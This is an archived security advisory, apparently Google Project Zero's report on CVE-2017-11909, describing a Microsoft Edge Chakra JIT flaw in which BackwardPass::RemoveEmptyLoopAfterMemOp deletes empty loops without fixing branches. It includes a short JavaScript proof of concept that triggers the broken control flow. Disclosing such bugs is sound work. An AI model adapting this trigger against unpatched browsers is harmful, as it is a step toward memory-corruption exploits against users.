Twenty Year Anniversary

Microsoft Edge Chakra JIT BackwardPass::RemoveEmptyLoopAfterMemOp Failed Insert

Microsoft Edge Chakra JIT BackwardPass::RemoveEmptyLoopAfterMemOp Failed Insert
Posted Jan 10, 2018
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT has an issue where BackwardPass::RemoveEmptyLoopAfterMemOp does not insert branches.

tags | exploit
advisories | CVE-2017-11909
MD5 | dc948f248dc2d2bfd1f170d86c25f83c

Microsoft Edge Chakra JIT BackwardPass::RemoveEmptyLoopAfterMemOp Failed Insert

Change Mirror Download
Microsoft Edge: Chakra: JIT: BackwardPass::RemoveEmptyLoopAfterMemOp doesn't insert branches. 

CVE-2017-11909


The optimizations for memory operations may leave empty loops as follows:

for (let i = 0; i < arr.length; i++) {
arr[i] = 0;
}

Becomes:

Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
// empty!
}

These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.

Here's what may happen.

A:
Memset(arr, 0, arr.length);

for (let i = 0; i < arr.length; i++) {

}
goto D; // Actually, this's a "BrGe_I4" instruction in the PoC.

C:
...

D:
...

Becomes:

A:
Memset(arr, 0, arr.length);

C:
...

D:
...

So, this may break the control flow.


PoC:
function opt(a, b, always_true = true) {
a[0] = 1234;
b[0] = 0;

let arr = a;
if (always_true) {
arr = b;
for (let i = 0; i < arr.length; i++)
arr[i] = 0;
}

let val = arr[0];
if (val) {
print(val); // Must be 0, but prints out 1234
return true;
}

return false;
}

let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
if (opt(a, b)) {
break;
}
}


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

June 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    14 Files
  • 2
    Jun 2nd
    1 Files
  • 3
    Jun 3rd
    3 Files
  • 4
    Jun 4th
    18 Files
  • 5
    Jun 5th
    21 Files
  • 6
    Jun 6th
    8 Files
  • 7
    Jun 7th
    16 Files
  • 8
    Jun 8th
    18 Files
  • 9
    Jun 9th
    5 Files
  • 10
    Jun 10th
    2 Files
  • 11
    Jun 11th
    21 Files
  • 12
    Jun 12th
    32 Files
  • 13
    Jun 13th
    15 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    4 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    2 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    8 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close